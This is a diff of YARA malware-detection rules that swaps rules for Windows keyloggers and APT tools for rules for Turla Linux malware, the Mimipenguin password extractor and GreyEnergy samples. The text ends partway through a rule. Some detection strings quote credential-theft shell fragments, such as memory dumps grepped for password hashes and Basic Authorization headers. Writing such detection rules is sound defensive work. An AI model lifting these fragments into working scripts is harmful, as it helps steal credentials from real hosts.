+rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr202004_1 : FILE
 {
 	meta:
-		description = "Keylogger - generic rule for a Chinese variant"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7be0b175-05a4-5725-ba21-9438c0fcd740"
-		date = "2016-03-07"
+		description = "Detects Turla Linux malware x64 x32"
+		author = "Leonardo S.p.A."
+		id = "2da75433-b1c1-51b3-8f7a-a4442ca3de96"
+		date = "2020-04-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_keylogger_cn.yar#L8-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
-		logic_hash = "a5330d15ad7199212cec44ade401c224c40a468650abbc7bf282b26a21cdc22b"
+		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_penquin.yar#L2-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e07963c492f1e6264f01ee292e40b188ca325b76005d9d48e6dc198cb9bdcf4"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
+		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
+		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
+		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
+		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
+		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
+		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
+		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
+		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
 
 	strings:
-		$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
-		$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
-		$x3 = "%sWindows NT %d.%d" fullword ascii
-		$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
-		$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
-		$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
-		$s3 = "shutdown.exe -r -t 0" fullword ascii
-		$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
-		$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
-		$s6 = "http_s.exe" fullword ascii
-		$s7 = "User Agent\\Post Platform\\" ascii
-		$s8 = "desktop.tmp" fullword ascii
-		$s9 = "\\support.icw" ascii
-		$s10 = "agc.tmp" fullword ascii
+		$ = "/root/.hsperfdata" ascii fullword
+		$ = "Desc| Filename | size |state|" ascii fullword
+		$ = "VS filesystem: %s" ascii fullword
+		$ = "File already exist on remote filesystem !" ascii fullword
+		$ = "/tmp/.sync.pid" ascii fullword
+		$ = "rem_fd: ssl " ascii fullword
+		$ = "TREX_PID=%u" ascii fullword
+		$ = "/tmp/.xdfg" ascii fullword
+		$ = "__we_are_happy__" ascii
+		$ = "/root/.sess" ascii fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of ($x*)) or 3 of them
+		uint16(0)==0x457f and filesize <5000KB and 4 of them
 }
-rule SIGNATURE_BASE_Emissary_APT_Malware_1 : FILE
+rule SIGNATURE_BASE_APT_MAL_LNX_Turla_Apr202004_1_Opcode : FILE
 {
 	meta:
-		description = "Detects Emissary Malware - from samples A08E81B411.DAT, ishelp.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ae6ff471-9255-52a3-89d2-452eb2556184"
-		date = "2016-01-02"
+		description = "Detects Turla Linux malware x64 x32"
+		author = "Leonardo S.p.A."
+		id = "03043f59-c81a-5423-bec1-6cd88f6e3c52"
+		date = "2020-04-24"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/V0epcf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_emissary.yar#L8-L43"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cab20ac0c17dcc5cb9d0c9f4cffe47e5880acd9dee935cb0eb1ef59579a23f17"
+		reference = "https://www.leonardocompany.com/en/news-and-stories-detail/-/detail/knowledge-the-basis-of-protection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turla_penquin.yar#L35-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "19524e6ec3b0d49ff9c85ce361ef1922b92e4f7876ddb7d6c9b209b5357080e3"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9420017390c598ee535c24f7bcbd39f40eca699d6c94dc35bcf59ddf918c59ab"
-		hash2 = "70561f58c9e5868f44169854bcc906001947d98d15e9b4d2fbabd1262d938629"
-		hash3 = "0e64e68f6f88b25530699a1cd12f6f2790ea98e6e8fa3b4bc279f8e5c09d7290"
-		hash4 = "69caa2a4070559d4cafdf79020c4356c721088eb22398a8740dea8d21ae6e664"
-		hash5 = "675869fac21a94c8f470765bc6dd15b17cc4492dd639b878f241a45b2c3890fc"
-		hash6 = "e817610b62ccd00bdfc9129f947ac7d078d97525e9628a3aa61027396dba419b"
-		hash7 = "a8b0d084949c4f289beb4950f801bf99588d1b05f68587b245a31e8e82f7a1b8"
-		hash8 = "acf7dc5a10b00f0aac102ecd9d87cd94f08a37b2726cb1e16948875751d04cc9"
-		hash9 = "e21b47dfa9e250f49a3ab327b7444902e545bed3c4dcfa5e2e990af20593af6d"
-		hash10 = "e369417a7623d73346f6dff729e68f7e057f7f6dae7bb03d56a7510cb3bfe538"
-		hash11 = "29d8dc863427c8e37b75eb738069c2172e79607acc7b65de6f8086ba36abf051"
-		hash12 = "98fb1d2975babc18624e3922406545458642e01360746870deee397df93f50e0"
-		hash13 = "fbcb401cf06326ab4bb53fb9f01f1ca647f16f926811ea66984f1a1b8cf2f7bb"
+		hash1 = "67d9556c695ef6c51abf6fbab17acb3466e3149cf4d20cb64d6d34dc969b6502"
+		hash2 = "8ccc081d4940c5d8aa6b782c16ed82528c0885bbb08210a8d0a8c519c54215bc"
+		hash3 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
+		hash4 = "1d5e4466a6c5723cd30caf8b1c3d33d1a3d4c94c25e2ebe186c02b8b41daf905"
+		hash5 = "2dabb2c5c04da560a6b56dbaa565d1eab8189d1fa4a85557a22157877065ea08"
+		hash6 = "3e138e4e34c6eed3506efc7c805fce19af13bd62aeb35544f81f111e83b5d0d4"
+		hash7 = "5a204263cac112318cd162f1c372437abf7f2092902b05e943e8784869629dd8"
+		hash8 = "8856a68d95e4e79301779770a83e3fad8f122b849a9e9e31cfe06bf3418fa667"
+		hash9 = "d49690ccb82ff9d42d3ee9d7da693fd7d302734562de088e9298413d56b86ed0"
 
 	strings:
-		$s1 = "cmd.exe /c %s > %s" fullword ascii
-		$s2 = "execute cmd timeout." fullword ascii
-		$s3 = "rundll32.exe \"%s\",Setting" fullword ascii
-		$s4 = "DownloadFile - exception:%s." fullword ascii
-		$s5 = "CDllApp::InitInstance() - Evnet create successful." fullword ascii
-		$s6 = "UploadFile - EncryptBuffer Error" fullword ascii
-		$s7 = "WinDLL.dll" fullword wide
-		$s8 = "DownloadFile - exception:%s,code:0x%08x." fullword ascii
-		$s9 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" fullword ascii
-		$s10 = "CDllApp::InitInstance() - Evnet already exists." fullword ascii
+		$op0 = { 8D 41 05 32 06 48 FF C6 88 81 E0 80 69 00 }
+		$op1 = { 48FFC14883F94975E9 }
+		$op2 = { C7 05 9B 7D 29 00 1D 00 00 00 C7 05 2D 7B 29 00 65 74 68 30 C6 05 2A 7B 29 00 00 E8 }
+		$op3 = { BF FF FF FF FF E8 96 9D 0A 00 90 90 90 90 90 90 90 90 90 90 89 F0}
+		$op4 = { 88D380C305329AC1D60C08889A60A10F084283FA0876E9 }
+		$op5 = { 8B 8D 50 DF FF FF B8 09 00 00 00 89 44 24 04 89 0C 24 E8 DD E5 02 00 }
+		$op6 = { 8D 5A 05 32 9A 60 26 0C 08 88 9A 20 F4 0E 08 42 83 FA 48 76 EB }
+		$op7 = { 8D 4A 05 32 8A 25 26 0C 08 88 8A 20 F4 0E 08 42 83 FA 08 76 EB}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <250KB and 3 of them
+		uint16(0)==0x457f and filesize <5000KB and 2 of them
 }
-rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_1 : FILE
+rule SIGNATURE_BASE_Mimipenguin_SH
 {
 	meta:
-		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		description = "Detects Mimipenguin Password Extractor - Linux"
 		author = "Florian Roth (Nextron Systems)"
-		id = "21e858b1-2cfa-5757-96f0-7c44a5da6898"
-		date = "2016-12-14"
+		id = "c670f6fe-562d-598f-a73f-45e4ab234f7d"
+		date = "2017-04-01"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8abDE6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_promethium_neodymium.yar#L10-L27"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "143e52eedc5c3be9bbf0f916b232de26e4ed5c7e81e3f77cae70e6af84d31de1"
+		reference = "https://github.com/huntergregal/mimipenguin"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimipenguin.yar#L8-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d9827e7adfe667a4a46e23854cac3b63949abcde5709045f0fe65e7b5704265"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e12031da58c0b08e8b610c3786ca2b66fcfea8ddc9ac558d08a29fd27e95a3e7"
 
 	strings:
-		$s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
-		$s2 = "c:\\windows\\temp\\TrueCrypt-Setup-7.1a-tamindir.exe" fullword wide
-		$s3 = "%s\\ssleay32.dll" fullword wide
-		$s4 = "%s\\libeay32.dll" fullword wide
-		$s5 = "%s\\fprot32.exe" fullword wide
+		$s1 = "$(echo $thishash | cut -d'$' -f 3)" ascii
+		$s2 = "ps -eo pid,command | sed -rn '/gnome\\-keyring\\-daemon/p' | awk" ascii
+		$s3 = "MimiPenguin Results:" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <10000KB and 3 of them ) or ( all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_2 : FILE
+rule SIGNATURE_BASE_Mimipenguin_1 : FILE
 {
 	meta:
-		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		description = "Detects Mimipenguin hack tool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5858541b-c394-5be8-9db3-fcff66f635de"
-		date = "2016-12-14"
+		id = "62754337-52ef-5d3f-af2f-52f820ba0476"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8abDE6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_promethium_neodymium.yar#L29-L45"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2d97ee2698b6a09da7f8c6850583ec7493cc288368b98b20790dd8305521f894"
+		reference = "https://github.com/huntergregal/mimipenguin"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimipenguin.yar#L34-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "60a7b64eee9e2adfbc65fb5762f18e2abc4a35f9368ad704754870b5e8311391"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1aef507c385a234e8b10db12852ad1bd66a04730451547b2dcb26f7fae16e01f"
+		hash1 = "9e8d13fe27c93c7571075abf84a839fd1d31d8f2e3e48b3f4c6c13f7afcf8cbd"
 
 	strings:
-		$s1 = "winasys32.exe" fullword ascii
-		$s2 = "alg32.exe" fullword ascii
-		$s3 = "wmsrv32.exe" fullword ascii
-		$s4 = "vmnat32.exe" fullword ascii
+		$x1 = "self._strings_dump += strings(dump_process(target_pid))" fullword ascii
+		$x2 = "def _dump_target_processes(self):" fullword ascii
+		$x3 = "self._target_processes = ['sshd:']" fullword ascii
+		$x4 = "GnomeKeyringPasswordFinder()" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them ) or (3 of them )
+		( uint16(0)==0x2123 and filesize <20KB and 1 of them )
 }
-rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_3 : FILE
+rule SIGNATURE_BASE_Mimipenguin_2 : FILE
 {
 	meta:
-		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		description = "Detects Mimipenguin hack tool"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bff79813-0d72-50d9-9676-794801edc34b"
-		date = "2016-12-14"
+		id = "b3bb1ba9-cbfc-53fd-81d0-256466ace4de"
+		date = "2017-07-08"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8abDE6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_promethium_neodymium.yar#L47-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47595e07b59744f520cd9025bcec267384329b7687fd25842f5f7a8f4b360674"
+		reference = "https://github.com/huntergregal/mimipenguin"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_mimipenguin.yar#L52-L69"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "53a1f47ef9c94ef6bffbc9d7b9f3a8e0a7fb132c0936ea27e6be775cf99792a0"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f98ac11c78ad1b4c5c5c10a88857baf7af43acb9162e8077709db9d563bcf02"
+		hash1 = "453bffa90d99a820e4235de95ec3f7cc750539e4023f98ffc8858f9b3c15d89a"
 
 	strings:
-		$s1 = "%s SslHandshakeDone(%d) %d. Secure connection with %s, cipher %s, %d secret bits (%d total), session reused=%s" fullword ascii
-		$s2 = "mvhost32.dll" fullword ascii
-		$s3 = "sdwin32.dll" fullword ascii
-		$s4 = "ofx64.dll" fullword ascii
+		$x1 = "DUMP=$(strings \"/tmp/dump.${pid}\" | grep -E" fullword ascii
+		$x2 = "strings /tmp/apache* | grep -E '^Authorization: Basic.+=$'" fullword ascii
+		$x3 = "grep -E '^_pammodutil_getpwnam_root_1$' -B 5 -A" fullword ascii
+		$x4 = "strings \"/tmp/dump.${pid}\" | grep -E -m 1 '^\\$.\\$.+\\$')\"" fullword ascii
+		$x5 = "if [[ -n $(ps -eo pid,command | grep -v 'grep' | grep gnome-keyring) ]]; then" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and 2 of them ) or ( all of them )
+		( uint16(0)==0x2123 and filesize <20KB and 1 of them )
 }
-rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_1 : FILE
 {
 	meta:
-		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		description = "Detects samples from Grey Energy report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4e926b1c-bf10-5337-8c3a-964008a37d8b"
-		date = "2016-12-14"
+		id = "fc997540-075e-5f1c-9238-135c1572553b"
+		date = "2018-10-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8abDE6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_promethium_neodymium.yar#L65-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0e8bb00133a94b29c482b9785048025a62e2706f3653c1915be7b702fbfe48d6"
+		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greyenergy.yar#L12-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0cbdc156b7080608c1071feeb4826a70bb259c55139d74d019465c4bb5244260"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "15ededb19ec5ab6f03db1106d2ccdeeacacdb8cd708518d065cacb1b0d7e955d"
+		hash1 = "6c52a5850a57bea43a0a52ff0e2d2179653b97ae5406e884aee63e1cf340f58b"
 
 	strings:
-		$s1 = "c:\\windows\\temp\\winrar.exe" fullword wide
-		$s2 = "info@aadobetech.com" fullword ascii
-		$s3 = "%s\\ssleay32.dll" fullword wide
-		$s4 = "%s\\libeay32.dll" fullword wide
-		$s5 = "%s\\fprot32.exe" fullword wide
-		$s6 = "ADOBE Corp.1" fullword ascii
-		$s7 = "Adobe Flash Player1\"0 " fullword ascii
-		$s8 = "Windows Index Services" fullword wide
+		$x1 = "%SystemRoot%\\System32\\thinmon.dll" fullword ascii
+		$s2 = "'Cannot delete list entry (fatal error)!9The module %s cannot be executed on this system (0x%.4x).%Enumerate all sessions on TSE" wide
+		$s8 = "cbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbecbe" ascii
+		$s14 = "configure the service" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and 4 of them ) or (6 of them )
+		uint16(0)==0x5a4d and filesize <700KB and pe.imphash()=="98d1ad672d0db4b4abdcda73cc9835cb" and all of them
 }
-rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_2 : FILE
 {
 	meta:
-		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		description = "Detects samples from Grey Energy report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4bd60f61-a595-5289-9595-a7e33f265748"
-		date = "2016-12-14"
+		id = "50830741-ba3d-505c-bb21-8cedc2162f96"
+		date = "2018-10-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8abDE6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_promethium_neodymium.yar#L87-L105"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69433fae4d51f7fd7b6f5b683f9c751d0f0352b8ed805a8177085e635eb26260"
+		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greyenergy.yar#L31-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "600bc5b423ef3281bfc7ad7ab479aa1208b0144b0f4afd8c2d14f17b5e2c600b"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a8b7e3edaa18c6127e98741503c3a2a66b7720d2abd967c94b8a5f2e99575ac5"
+		hash1 = "c6a54912f77a39c8f909a66a940350dcd8474c7a1d0e215a878349f1b038c58a"
 
 	strings:
-		$s1 = "Winxsys.exe" fullword wide
-		$s2 = "%s\\ssleay32.dll" fullword wide
-		$s3 = "%s\\libeay32.dll" fullword wide
-		$s4 = "Windows Index Services" fullword wide
-		$s5 = "<F RAT" fullword ascii
-		$s6 = "WININDX-088FA840-B10D-11D3-BC36-006067709674" fullword wide
+		$s1 = "WioGLtonuaptWmrnttfepgetneemVsnygnV" fullword ascii
+		$s2 = "PnSenariopoeKerGEtxrcy" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <5000KB and 3 of them )
+		uint16(0)==0x5a4d and filesize <300KB and 2 of them
 }
-rule SIGNATURE_BASE_PROMETHIUM_NEODYMIUM_Malware_6 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_3 : FILE
 {
 	meta:
-		description = "Detects PROMETHIUM and NEODYMIUM malware"
+		description = "Detects samples from Grey Energy report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0f36eb56-39d8-536c-93ff-4a2352163612"
-		date = "2016-12-14"
+		id = "cc365dbf-1448-5219-95f5-d1154000f52d"
+		date = "2018-10-17"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/8abDE6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_promethium_neodymium.yar#L107-L125"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6cfccb863c3ea8f3f60520b0df03eee8e3b754699aa339fea21489d34e29f47b"
+		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greyenergy.yar#L46-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f4851f5381a4d8dea488d50ff11048052826c51428f8610bc5d3480ed254d32f"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dbd8cbbaf59d19cf7566042945e36409cd090bc711e339d3f2ec652bc26d6a03"
+		hash1 = "0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0"
 
 	strings:
-		$s1 = "c:\\Windows\\system32\\syswindxr32.dll" fullword wide
-		$s2 = "c:\\windows\\temp\\TrueCrypt-7.2.exe" fullword wide
-		$s3 = "%s\\ssleay32.dll" fullword wide
-		$s4 = "%s\\libeay32.dll" fullword wide
-		$s5 = "%s\\fprot32.exe" fullword wide
-		$s6 = "Windows Index Services" fullword wide
+		$x1 = "USQTUNPPQONOPOQUMSNUTRMRRLVPUOPMROPMPMQTPNPONVUOUQOMMNNSRSRQQVTPPRSSNVSTURTMMOPTONSQTOMONQVMQNUSONTQTUTSRRPVTONUQNORQMRRNRUSPS" fullword ascii
+		$x2 = "tEMPiuP" fullword ascii
+		$x3 = "sryCEMieye" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <7000KB and 4 of them )
+		uint16(0)==0x5a4d and filesize <300KB and 1 of them
 }
-rule SIGNATURE_BASE_HKTL_Venom_LIB_Dec22 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_4 : FILE
 {
 	meta:
-		description = "Detects Venom - a library that meant to perform evasive communication using stolen browser socket"
-		author = "Ido Veltzman, Florian Roth"
-		id = "b13b8a9c-52a4-53ac-817e-9f729fbf17c2"
-		date = "2022-12-17"
+		description = "Detects samples from Grey Energy report"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1a2df257-a639-5868-a005-690d64cfbf2b"
+		date = "2018-10-17"
 		modified = "2023-12-05"
-		reference = "https://github.com/Idov31/Venom"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_hktl_venom_lib.yar#L2-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fa143946479a45b272d507c3aa2b17026bfdcbb4abefd833f95ff78537568ec1"
+		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greyenergy.yar#L62-L82"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c845be8b56dc9aa9f0eaec2a67c4baef9c9b4fd1789e96cd781e3876721b1297"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "6974b8acf6a8f7684673b01753c3a8248a1c491900cccf771db744ca0442f96a"
+		hash2 = "165a7853ef51e96ce3f88bb33f928925b24ca5336e49845fc5fc556812092740"
+		hash3 = "4470e40f63443aa27187a36bbb0c2f4def42b589b61433630df842b6e365ae3d"
+		hash4 = "c21cf6018c2ee0a90b9d2c401aae8071c90b5a4bc9848a94d678d77209464f79"
 
 	strings:
-		$x1 = "[ + ] Created detached hidden msedge process: " fullword ascii
-		$ss1 = "WS2_32.dll" fullword ascii
-		$ss2 = "WSASocketW" fullword ascii
-		$ss3 = "WSADuplicateSocketW" fullword ascii
-		$ss5 = "\\Device\\Afd" wide fullword
-		$sx1 = "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe --no-startup-window" fullword wide
-		$sx2 = "[ + ] Data sent!" fullword ascii
-		$sx3 = "[ + ] Socket obtained!" fullword ascii
-		$op1 = { 4c 8b f0 48 3b c1 48 b8 ff ff ff ff ff ff ff 7f }
-		$op2 = { 48 8b cf e8 1c 34 00 00 48 8b 5c 24 30 48 8b c7 }
-		$op3 = { 48 8b da 48 8b f9 45 33 f6 48 85 c9 0f 84 34 01 }
+		$x1 = "iiodttd.eWt" fullword ascii
+		$x2 = "irnnaar-ite-ornaa-naa-asoeienaeaanlagoeas:acnuihaaa" fullword ascii
+		$x3 = "NURVNTURVORSMSPPRTQMPTTQOQRP" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and ((3 of ($ss*) and all of ($op*)) or 2 of ($sx*)) or $x1 or all of ($sx*)
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="279adfbd42308a07b3131ee57d067b3e" or 1 of them )
 }
-rule SIGNATURE_BASE_Kriskynote_Mar17_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Greyenergy_Malware_Oct18_5 : FILE
 {
 	meta:
-		description = "Detects Kriskynote Malware"
+		description = "Detects samples from Grey Energy report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b1e5df0c-0112-5fee-85e9-cb0ca31f5234"
-		date = "2017-03-03"
+		id = "a8c4517d-912d-5264-b9ab-acdf37fc4d56"
+		date = "2018-10-17"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_kriskynote.yar#L11-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cc4861f3a612cbaba6abf8ded76972941c879f04b59c29756bf0ba8083bf93ab"
+		reference = "https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_greyenergy.yar#L84-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
